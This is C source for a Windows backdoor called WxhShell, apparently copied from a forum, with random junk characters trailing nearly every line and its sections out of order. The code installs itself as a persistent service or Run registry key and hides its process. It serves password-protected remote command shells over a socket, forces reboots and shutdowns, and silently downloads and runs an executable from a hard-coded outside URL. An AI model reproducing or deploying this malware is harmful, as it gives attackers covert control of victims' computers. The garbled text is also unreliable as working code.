    if(Boot(SHUTDOWN)) ~' w]%rh!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fxknfgbg  
    else { UT_kw}1o  
    closesocket(wsh); ,ut7`_Fy  
    ExitThread(0); #MUY!  
    } : 22)` ;0  
    break; QzVoU |  
    } Y T'olk  
  // 获取shell P71] Z  
  case 's': { _f"KB=A_x  
    CmdShell(wsh); rVZlv3  
    closesocket(wsh); tP4z#0r2  
    ExitThread(0); 9xaieR  
    break; :pvB}RYD  
  } `wKd##v'@  
  // 退出 r7-H`%.  
  case 'x': { }h1y^fuGi  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); C2H2*"  
    CloseIt(wsh); W#kd[Wi  
    break; @]7s`?  
    } $g_|U:,  
  // 离开 %\T#Ik~3  
  case 'q': { m\G45%m  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); *R3^:Y&  
    closesocket(wsh); <b-OdOg  
    WSACleanup(); |cgc^S/~H  
    exit(1); {$Z S 2 7  
    break; Tly*i"[&  
        } DO6 pv  
  } 17#t7Yk  
  } V I]~uTV  
V-dyeb  
  // 提示信息 _6-N+FI  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c!N#nt_<  
} -f["1-A  
  }  lofP$  
S/dj])g  
  return; yM('!iG*/  
} GD% qrK?  
{9v Mc  
// shell模块句柄 BAojP1}+,  
int CmdShell(SOCKET sock) ;:/C.%d  
{ T&'LQZM8  
STARTUPINFO si; CbFO9q  
ZeroMemory(&si,sizeof(si)); jHk.]4&0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; sKC(xO@L;`  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,*8)aZ1 k  
PROCESS_INFORMATION ProcessInfo; gO#%*  W  
char cmdline[]="cmd"; F},kfCFF  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); j{YIVX  
  return 0; B]I*ymc#  
} {t|Q9&  
=!u]t &yv  
// 自身启动模式 gts09{"}Y  
int StartFromService(void) hISYtNWjd"  
{ +2>, -V  
typedef struct .EZ8yJj1Q  
{ .>1vN+  
  DWORD ExitStatus; ? (M$r\\  
  DWORD PebBaseAddress; baGV]=j  
  DWORD AffinityMask; `jec|i@oO  
  DWORD BasePriority; u)vS,dzu  
  ULONG UniqueProcessId; IZuP{7p$  
  ULONG InheritedFromUniqueProcessId; +I+RNXR/{  
}   PROCESS_BASIC_INFORMATION; C!Jy;Z=+u  
\+"Jg/)ij  
PROCNTQSIP NtQueryInformationProcess; [9yd29pQ]  
]e$n;tuW  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9<.8mW^68  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?}HZJ@:lB  
G "ixw  
  HANDLE             hProcess; #'. '|z  
  PROCESS_BASIC_INFORMATION pbi; ZB]234`0  
LI>Bl  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <?%49  
  if(NULL == hInst ) return 0; :XOjS[wBm  
%4})_h?j  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); KQ0f2?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); udPLWrPF\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); pm2]  
f8-~&N/_R  
  if (!NtQueryInformationProcess) return 0; $3xDjiBb  
h-fm)1S_  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }\1V%c  
  if(!hProcess) return 0; Nz:p(X!  
P!gY&>EU  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |@VhR(^O$  
$."F z x  
  CloseHandle(hProcess); /#j)GlNp:  
`5n^DP*X  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); SeuDJxqopD  
if(hProcess==NULL) return 0; !&5|:96o  
89t"2|9 u  
HMODULE hMod; /Mj|Px%  
char procName[255]; 2fXwJG'  
unsigned long cbNeeded; 5 BeU/  
{\X$vaF  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); TN<"X :x9  
0^)~p{Zh  
  CloseHandle(hProcess); Jl|^^?  
G?!8T91;  
if(strstr(procName,"services")) return 1; // 以服务启动 %S^:5#9  
AC!yc(^<  
  return 0; // 注册表启动 nI] zRduC  
} ErFt5%FN.O  
I8|"h8\  
// 主模块 > w SI0N  
int StartWxhshell(LPSTR lpCmdLine) MRT<hB  
{ ]Bs{9=2  
  SOCKET wsl; FGeKhA 8jT  
BOOL val=TRUE; aGAr24]y  
  int port=0; r.c:QY$  
  struct sockaddr_in door; ;p87^:  
x6ayFq=  
  if(wscfg.ws_autoins) Install(); k1SD{BL  
?)Je%H  
port=atoi(lpCmdLine); 7>F[7_  
.3#Xjhebvu  
if(port<=0) port=wscfg.ws_port; `aA)n;{/2u  
"~KTLf  
  WSADATA data; J&B5Ll  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; I9x kqj  
F I~=A/:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   +G+1B6S  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7Hj7b:3K&!  
  door.sin_family = AF_INET;  bDD29  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); mQ9shdvt-  
  door.sin_port = htons(port); 'T7Y5X80$j  
UID`3X  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { bfYVA2=Z  
closesocket(wsl); QZ[S, c^  
return 1; L-zU%`1{M  
} 7Sh1QDYZ  
tKds|0,j|  
  if(listen(wsl,2) == INVALID_SOCKET) { CWJN{  
closesocket(wsl); f{u S  
return 1; 4vNH"72P  
} wFjQ1<s=  
  Wxhshell(wsl); gSf >+|  
  WSACleanup(); ^z~drcR  
1 |/ |Lq%w  
return 0; 8~T=p:z'  
tY:,9eh7B  
} _xBhMu2f  
Mb45UG#2  
// 以NT服务方式启动 ZE1${QFkG  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) B>sQcZ:  
{ hjhZ":I.  
DWORD   status = 0; t_Rj1U  
  DWORD   specificError = 0xfffffff; JB=L{P J  
43<i3O  
  serviceStatus.dwServiceType     = SERVICE_WIN32; |?hsMN  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8k+k\V{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `b%^_@Fb  
  serviceStatus.dwWin32ExitCode     = 0; D *IeG>%  
  serviceStatus.dwServiceSpecificExitCode = 0; L+eK)Q  
  serviceStatus.dwCheckPoint       = 0; @ZrNV*&<  
  serviceStatus.dwWaitHint       = 0; Hs{x Z:  
JY,oXA6O  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); FlY"OU*  
  if (hServiceStatusHandle==0) return; 2fNNdxdbT  
HrMbp  
status = GetLastError(); EQX<<x"  
  if (status!=NO_ERROR) "-j96 KD  
{ fwh/#V-i  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; R<%{I)  
    serviceStatus.dwCheckPoint       = 0; ^:,wk7  
    serviceStatus.dwWaitHint       = 0; ooP{Q r  
    serviceStatus.dwWin32ExitCode     = status; o 9(x\g  
    serviceStatus.dwServiceSpecificExitCode = specificError;  j8]M}Q$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); P>$+XrTE  
    return; ;jO+<~YP!  
  } |;^$IZSsz  
lR mVeq:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [nlq(DGJhp  
  serviceStatus.dwCheckPoint       = 0; K<%8.mZ7  
  serviceStatus.dwWaitHint       = 0; p["pGsf  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); TtQd#mSI\  
} a^ys7UV  
l.Z+.<@  
// 处理NT服务事件,比如:启动、停止 nZG zez  
VOID WINAPI NTServiceHandler(DWORD fdwControl) k_?~@G[I  
{ `tcX[(`  
switch(fdwControl) ^NM>x Ienf  
{ F+j"bhe  
case SERVICE_CONTROL_STOP: B~J63Os/  
  serviceStatus.dwWin32ExitCode = 0; @;KvUR/+FE  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Dz/MIx  
  serviceStatus.dwCheckPoint   = 0; 8Qj1%Ri:U  
  serviceStatus.dwWaitHint     = 0; 9[DlJ@T}  
  { ePxAZg$ `>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *)oBE{6D  
  } `B,R+==G:  
  return; >6IUle>z  
case SERVICE_CONTROL_PAUSE: :LC3>x`:  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .q!i +0  
  break; H+@?K6{h  
case SERVICE_CONTROL_CONTINUE: ~:|V,1  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; }_H\ 75Iv  
  break; %?F$3YN,  
case SERVICE_CONTROL_INTERROGATE: ^+gD;a|t  
  break; : #so"O  
}; `-K[$V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); NL2D,  
} Q]/{6:C  
%:Y(x$Qy  
// 标准应用程序主函数 B|{E[]iK  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) VW;E14  
{ M a3}w-=;  
H6Gs&yk3  
// 获取操作系统版本 h##U=`x3  
OsIsNt=GetOsVer(); n</Rd=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); =}Q|#C  
D 5:'2i  
  // 从命令行安装 Fq%NY8KNE  
  if(strpbrk(lpCmdLine,"iI")) Install(); +8"P*z,  
qv |}>wU  
  // 下载执行文件 KP $AT}D  
if(wscfg.ws_downexe) {  -rT#Wi  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2^nws  
  WinExec(wscfg.ws_filenam,SW_HIDE); ][YuJUK8  
} {M= *>P]E  
7s;;2<k;_  
if(!OsIsNt) { XN{zl*`  
// 如果时win9x,隐藏进程并且设置为注册表启动 a:4!z;2 |  
HideProc(); i CB:p  
StartWxhshell(lpCmdLine); !1UZ<hq  
} @RL'pKab9  
else u:B=lZ[  
  if(StartFromService()) &5[+p{2  
  // 以服务方式启动 E]S:F3  
  StartServiceCtrlDispatcher(DispatchTable); K$r)^K=s  
else /x_AWnU  
  // 普通方式启动 @2hOy@V  
  StartWxhshell(lpCmdLine); }9!}T~NMs  
uc|ej9N  
return 0; q!~DCv df  
} [$:L| V!{  
8U7d d[  
Lr= ^0  
)HvB ceN  
=========================================== h-SKw=n  
6Tc! =lk  
E}<i?;  
{kb7u5-  
(.L?sDQ</z  
>p" U|  
" oq|`;k   
_A0X[}^K  
#include <stdio.h> )_?h;wh 84  
#include <string.h> .M ID)PY-  
#include <windows.h> |ZXz&Xor  
#include <winsock2.h> "=JE12=u  
#include <winsvc.h> /FC(d5I  
#include <urlmon.h> FJxb!- 0&  
7KJ0>0~Et  
#pragma comment (lib, "Ws2_32.lib") ={;+0Wjb8  
#pragma comment (lib, "urlmon.lib") m}S}fH(  
YD{N)v  
#define MAX_USER   100 // 最大客户端连接数 ?{5}3a bB`  
#define BUF_SOCK   200 // sock buffer X|QokAR{$>  
#define KEY_BUFF   255 // 输入 buffer .])X.7@x  
:VLYF$|  
#define REBOOT     0   // 重启 c%(Nd i  
#define SHUTDOWN   1   // 关机 R|` `A5zQ  
<s$T7Zk  
#define DEF_PORT   5000 // 监听端口 0;`+e22  
Sq:J'%/z  
#define REG_LEN     16   // 注册表键长度 :2')`xT  
#define SVC_LEN     80   // NT服务名长度 zE?dQD^OD  
2v#gCou  
// 从dll定义API 4x@W]*i  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  obPG]*3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }7P[%(T5  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); p{ ``a=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); GCv1x->  
_>?.MUPB  
// wxhshell配置信息 Pf?15POg&B  
struct WSCFG { 4?[1JN>  
  int ws_port;         // 监听端口 joZd  
  char ws_passstr[REG_LEN]; // 口令 8pp;" "b  
  int ws_autoins;       // 安装标记, 1=yes 0=no KGI <G  
  char ws_regname[REG_LEN]; // 注册表键名 UIht`[(z  
  char ws_svcname[REG_LEN]; // 服务名 r6:e 423  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 W/~q%\M {  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 )UVekkq>Q  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?[Ma" l>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 3TS:H1n  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {K?e6-N(z  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >J)4e~9EJ2  
'iDkAmvD  
}; U\-.u3/  
z^WY5~?  
// default Wxhshell configuration h(4\k?C5  
struct WSCFG wscfg={DEF_PORT, jpoNTl'  
    "xuhuanlingzhe", rls{~ZRl  
    1, u]ps-R_$G  
    "Wxhshell", N%1nii  
    "Wxhshell", UdA,.C0  
            "WxhShell Service", v$g\]QS p  
    "Wrsky Windows CmdShell Service", )@y7 qb  
    "Please Input Your Password: ", Fdq5:v?k  
  1, !C^>tmqS  
  "http://www.wrsky.com/wxhshell.exe", IR;3{o  
  "Wxhshell.exe" *&R|0I{>  
    }; V)ag ss w?  
^D9 w=f#a  
// 消息定义模块 \~zm_-Hw@Y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {k[dg0UV  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4MtRI  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; wrK@1F9!  
char *msg_ws_ext="\n\rExit."; E&U_@ bc-  
char *msg_ws_end="\n\rQuit."; ZA@zs,o%  
char *msg_ws_boot="\n\rReboot..."; lLglF4  
char *msg_ws_poff="\n\rShutdown..."; m@0> =s~.  
char *msg_ws_down="\n\rSave to "; t=s.w(3t  
ziM@@$ .F  
char *msg_ws_err="\n\rErr!"; o#BI_#b  
char *msg_ws_ok="\n\rOK!"; T1x67 b u  
CJs ~!ww  
char ExeFile[MAX_PATH]; FT J{  
int nUser = 0; t}OzF cyqN  
HANDLE handles[MAX_USER]; 1F3Q^3+  
int OsIsNt; YNKvR  
W ,v0~  
SERVICE_STATUS       serviceStatus; zG^$-L.n  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 4%JJ} {Ff  
UQ@szE  
// 函数声明 Neii$  
int Install(void); _g,_G  
int Uninstall(void); HnsLYY\  
int DownloadFile(char *sURL, SOCKET wsh); BqdpJIr  
int Boot(int flag); HNlW.y"  
void HideProc(void); $'<$:;4b3  
int GetOsVer(void); CteNJBm  
int Wxhshell(SOCKET wsl); U9awN&1([  
void TalkWithClient(void *cs); :QXKG8^  
int CmdShell(SOCKET sock); 7+hc?H[&'  
int StartFromService(void); soX^$l  
int StartWxhshell(LPSTR lpCmdLine); Ae1b`%To  
^<   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); U^qS[HM  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Z,M2vRj"qT  
OIjG`~Rx  
// 数据结构和表定义 DNyt_5j&:  
SERVICE_TABLE_ENTRY DispatchTable[] = _?$w8 S%  
{ 0(&Rm R  
{wscfg.ws_svcname, NTServiceMain}, a( N;| <  
{NULL, NULL} @uG/2'B(  
}; ;z+}|>!  
78?cCj{e  
// 自我安装 t\Qm2Q)>  
int Install(void) Vh]=sd<F  
{ zTi 8y<}  
  char svExeFile[MAX_PATH]; =5YbK1Q^  
  HKEY key; j X*gw6!  
  strcpy(svExeFile,ExeFile); :7(d 6gEL  
7| j rk  
// 如果是win9x系统,修改注册表设为自启动 $Q,]2/o6n  
if(!OsIsNt) { ;M\Cw.%![  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {]N7kY.W  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); N$.ls48a4-  
  RegCloseKey(key); ((^v sKT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R"\(a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dX[ Xe  
  RegCloseKey(key); ;4Xx5*E  
  return 0; zN-Y=-c  
    } mS0;2x U  
  } \nL@P6X  
} cHVu6I?h  
else { 7_lgo6  
T]b&[?p|a[  
// 如果是NT以上系统,安装为系统服务 b !nA.`T  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); G(t&(t`[  
if (schSCManager!=0) t~!ag#3['.  
{ Y|W#VyM-  
  SC_HANDLE schService = CreateService Ln/*lLIOb  
  ( /sPa$D  
  schSCManager, `FX?P`\@I  
  wscfg.ws_svcname, PQz[IZ  
  wscfg.ws_svcdisp, O<dCvH  
  SERVICE_ALL_ACCESS, 1W}k>t8?h'  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , k ,r*xt  
  SERVICE_AUTO_START, s t#^pWL  
  SERVICE_ERROR_NORMAL, r|/9'{!  
  svExeFile, qQ,(O5$|  
  NULL, dwiLu&]u  
  NULL, vVsaGW   
  NULL, f}?p Y"yvO  
  NULL, ^1aY,6I:  
  NULL &W&A88FfZU  
  ); :r{W)(mm  
  if (schService!=0) 7ks!0``  
  { .E{FD%U  
  CloseServiceHandle(schService); 8&bNI@:@  
  CloseServiceHandle(schSCManager); GpR,n2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %%h.`p1  
  strcat(svExeFile,wscfg.ws_svcname); m93{K7O2e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )5o6*(Y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); uOZSX.o^  
  RegCloseKey(key); XSx'@ qH  
  return 0; 0$U\H>r  
    } l^$U~OB8k  
  } M.C`nI4  
  CloseServiceHandle(schSCManager); <Oy2 JjY  
} aghlYcPg  
} y'JJ#7O=  
zhyf}Ta'  
return 1; 2j1HN  
} ~i>'3j0@k  
|]-~yYqP3  
// 自我卸载 eQqCRXx  
int Uninstall(void) VjZb\ d4  
{ &rc r>-  
  HKEY key; uF)^mT0D=  
``kesz  
if(!OsIsNt) { cwQ *P$n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Dr}elR>~G=  
  RegDeleteValue(key,wscfg.ws_regname); SLvo)`Nc3-  
  RegCloseKey(key); x@> ~&eP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8%MF <   
  RegDeleteValue(key,wscfg.ws_regname); N;=J)b|9  
  RegCloseKey(key); IQmlmu  
  return 0; 8Kn}o@Yd  
  } ICTjUQP  
} /~?[70B}E  
} yV&]i-ey  
else { NxFCVqGb  
)k `+9}OO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); V {}TG]  
if (schSCManager!=0) F0kQ/x  
{ gDX\ p>7  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >9<rc[  
  if (schService!=0) :U @L$  
  { Jr>Nc}!U  
  if(DeleteService(schService)!=0) { ^{E_fQJX  
  CloseServiceHandle(schService); f uH3C~u7<  
  CloseServiceHandle(schSCManager); nGTqW/k[+s  
  return 0; 90H/Txq  
  } ;BHIss7  
  CloseServiceHandle(schService); \z.p [;'ir  
  } |I.5]r-EK  
  CloseServiceHandle(schSCManager); [[}ukG4  
} -, $:^4  
} oiz]Bd  
z34+1d  
return 1; li} >xDSQ4  
} *r6v9  
ZalL}?E ?  
// 从指定url下载文件 J%E0Wd  
int DownloadFile(char *sURL, SOCKET wsh) clIn}wQ  
{ b}hQU~,E  
  HRESULT hr; 2D3mTpw  
char seps[]= "/"; Ka"1gbJ|  
char *token; oV~S4|9:  
char *file; wFBSux$  
char myURL[MAX_PATH]; g+C~}M_7  
char myFILE[MAX_PATH]; CY!H)6k  
Nk9w ; z&  
strcpy(myURL,sURL); aZ ta%3`)  
  token=strtok(myURL,seps); a6/ETQ  
  while(token!=NULL) j?! /#'  
  { dmMrZ1u2  
    file=token; gLbTZM4i  
  token=strtok(NULL,seps); )_Iu7b  
  } 9a'}j#mJo  
@\=4 Rin/q  
GetCurrentDirectory(MAX_PATH,myFILE); >vuR:4B  
strcat(myFILE, "\\"); g_"B:DR  
strcat(myFILE, file); J^pq<   
  send(wsh,myFILE,strlen(myFILE),0); 9*CRMkPrd  
send(wsh,"...",3,0); Z>W&vDeuN  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); z7Z!wIzJ  
  if(hr==S_OK) pWb8X}M  
return 0; l!}7GWj  
else (IAR-957pN  
return 1; YD5mJ[1t"2  
os+ ]ct  
} ,Fu[o6x<^  
U a1Z,~ *  
// 系统电源模块 c{i\F D  
int Boot(int flag) q6P5:@  
{ D:N\K/p  
  HANDLE hToken; NRe=O*O  
  TOKEN_PRIVILEGES tkp; 36 ]?4, .  
z_Pq5  
  if(OsIsNt) { qqu ]r  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); LO)QEUG  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); zR}vR9Ls  
    tkp.PrivilegeCount = 1; tz%H1 `  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; z*N%kcw"  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Z$K[e  
if(flag==REBOOT) { $rQi$w/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) B)qcu'>iy  
  return 0; Ga;Lm?6-  
} $ Vsf? ID  
else { qwd T= H  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Dh9C9<Ta:  
  return 0; s>ZlW:jY  
} XeAH.i<  
  } KhyGz"I!@$  
  else { W!a'KI'  
if(flag==REBOOT) { FOuPj+}F  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) B)&z% +  
  return 0; 0-Wv$o[  
} v&"sTcS|  
else { tSunO-\y  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) HU-#xK  
  return 0; :2;c@ uj  
} -L2% ,.E>4  
} zY&/lWW._  
I -V=Z:  
return 1; F'njtrO3  
} sfCU"O2G  
H$)otDOE  
// win9x进程隐藏模块 [} "m4+  
void HideProc(void) XJ?zP=UK  
{ hDTM\>.c;s  
<A] Kg  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); nD{{/_"'  
  if ( hKernel != NULL ) ]Q{MF- EKj  
  { XC[bEp$  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); F2$?[1^f  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); y~rtYI  
    FreeLibrary(hKernel); )`<7qT_BM  
  } L!:;H,  
,Z[pLF  
return; W_|7hwr  
} k FE<M6a9@  
J-~:W~Qx4N  
// 获取操作系统版本 h.aXW]]}(P  
int GetOsVer(void) r59BBW)M  
{ U5H5QW+  
  OSVERSIONINFO winfo; qmbhx9V   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); oMF[<Xf  
  GetVersionEx(&winfo); 1K{hj%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) h%U,g 9_  
  return 1; bVds23q  
  else ]"U/3dL5  
  return 0; -VZ? c  
} 8?$XT  
Opf^#6'mq  
// 客户端句柄模块 X"v)9 p  
int Wxhshell(SOCKET wsl) dqw0ns.2  
{ mUwGr_)wj  
  SOCKET wsh; X%Ta?(9|.^  
  struct sockaddr_in client; w;V+)r?w  
  DWORD myID; Qy| 6A@  
r-c1_ [Q#  
  while(nUser<MAX_USER) [J43]  
{ Zex`n:Wl?j  
  int nSize=sizeof(client); Uy{ZK*c8i  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); jGOE CKP  
  if(wsh==INVALID_SOCKET) return 1; 4Kn)5>  
:&$ WWv  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )<^G]ajn  
if(handles[nUser]==0) gqACIXR  
  closesocket(wsh); M7\KiQd  
else wWB^m@:4  
  nUser++; Xe<kdB3  
  } rA1;DSw6E[  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5OHF=wh  
X5o{d4R L  
  return 0; O*hQP*Rs  
} J"yq)0  
<l^#FH  
// 关闭 socket ZNY), 3?  
void CloseIt(SOCKET wsh) 4XArpKA  
{ u$y5?n|  
closesocket(wsh); lgh+\pj  
nUser--; 3b1%^@,ACy  
ExitThread(0); p|'Rm ]&jb  
} xU$15|ny  
'=>l& ;  
// 客户端请求句柄 k\lU Q\/O5  
void TalkWithClient(void *cs) JS0957K  
{ .Wvg{ S -  
!v]~ut !p  
  SOCKET wsh=(SOCKET)cs; _Wo(;'.  
  char pwd[SVC_LEN]; j9$kaEf  
  char cmd[KEY_BUFF]; fZrB!\Q  
char chr[1]; 5Q@4@b{C  
int i,j; Ia*T*q Ju  
-v?)E S  
  while (nUser < MAX_USER) { .7MLgC;  
NLO&.Q]#  
if(wscfg.ws_passstr) { OT}^dPQe  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +&8'@v$  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1Et{lrgh f  
  //ZeroMemory(pwd,KEY_BUFF); Xa/]} B  
      i=0; 6YYDp&nqEj  
  while(i<SVC_LEN) { 9l:vVp7Uk  
TDHS/"MbA7  
  // 设置超时 $D(q  
  fd_set FdRead; 2"L a}Vx2  
  struct timeval TimeOut; aDjYT/`l  
  FD_ZERO(&FdRead); kaZ_ra;<  
  FD_SET(wsh,&FdRead); >Mk#19j[/  
  TimeOut.tv_sec=8; qc@v"pIz'S  
  TimeOut.tv_usec=0; bn0Rv  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {DbWk>[DkG  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -owap-Va  
n_46;lD  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6B`,^8Lp  
  pwd=chr[0]; ;&]oV`Ib  
  if(chr[0]==0xd || chr[0]==0xa) { z%Ivc*x5  
  pwd=0; UViWejA/*u  
  break; Ln&CB!u  
  } R(<_p"9(  
  i++; 6gJc?+  
    } gL6.,4q+1  
rJ fO/WK  
  // 如果是非法用户,关闭 socket (j884bu  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Qe1WT T]:I  
} s f<NC>-  
Cc!LJ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %pr}Xs(-f  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g2W ZW#a)  
7 ?"-NrW~  
while(1) { F)hUT@  
8Hh= Sp^  
  ZeroMemory(cmd,KEY_BUFF); .vhEm6wJUM  
EF[I@voc  
      // 自动支持客户端 telnet标准   (pkq{: Fs  
  j=0; t gHXIr}3  
  while(j<KEY_BUFF) { G;v3kGn  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #EX NSr  
  cmd[j]=chr[0]; yU< "tgE  
  if(chr[0]==0xa || chr[0]==0xd) { &=hkB9 ;  
  cmd[j]=0; 7xjihl3  
  break; n% ={!WD  
  } [,|;rt\o>  
  j++; `& }C *i"  
    } vON1\$bu `  
cK~VNzsz  
  // 下载文件 3pI)  
  if(strstr(cmd,"http://")) { 299uZz}Y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %n:ymc $}  
  if(DownloadFile(cmd,wsh)) pJPP6Be<  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); [p&2k&.XYe  
  else \:`-"Ou(*  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f^9ntos|  
  } * 4RL  
  else { Xrd-/('2  
`Fs-z  
    switch(cmd[0]) { ^DOQ+  
